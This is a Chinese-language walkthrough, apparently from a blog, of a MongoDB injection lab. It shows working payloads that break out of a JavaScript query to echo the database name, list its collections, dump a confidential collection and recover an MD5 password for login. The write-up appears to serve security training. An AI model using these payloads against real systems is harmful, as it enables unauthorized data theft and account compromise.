步骤⼀:构造回显测试
?id=1'});return ({title:'1',content:'2
![](https://i-blog.csdnimg.cn/direct/2a5c75a5a80c42b6bf1a6fe0b898dd7e.png)
步骤⼆:
成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询
当前数据库。通过回显观察到数据库为
mozhe_cms_Authority
其中tojson是可以把数据变成
json型数据,db为取当前数据库,即当前的数据库为
mozhe_cms_Authority
?id=1'});return({title:tojson(db),content:'2
步骤三:得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中 db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。
?id=1'});return({title:tojson(db.getCollectionNames()),content:'2
步骤四:
这样数据库的表名就被爆出来了,⼀共有三个表,分别为:
Authority_confidential
、
notice
、
system_indexes
。最后我们就可以直接选取某个表爆出其中的数据了...
?id=1'});return({title:tojson(db.Authority_confidential.find() [ 0 ] ),content:'2
![](https://i-blog.csdnimg.cn/direct/fad1846b71514594bf612cee311f2aaf.png)
步骤五:
最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下
端就可以看到KEY了。
![](https://i-blog.csdnimg.cn/direct/0e50a546c3fd400ba9c84e5508142ad4.png)
![](https://i-blog.csdnimg.cn/direct/1132adb3750f4dfcb8748aaa1650db67.png)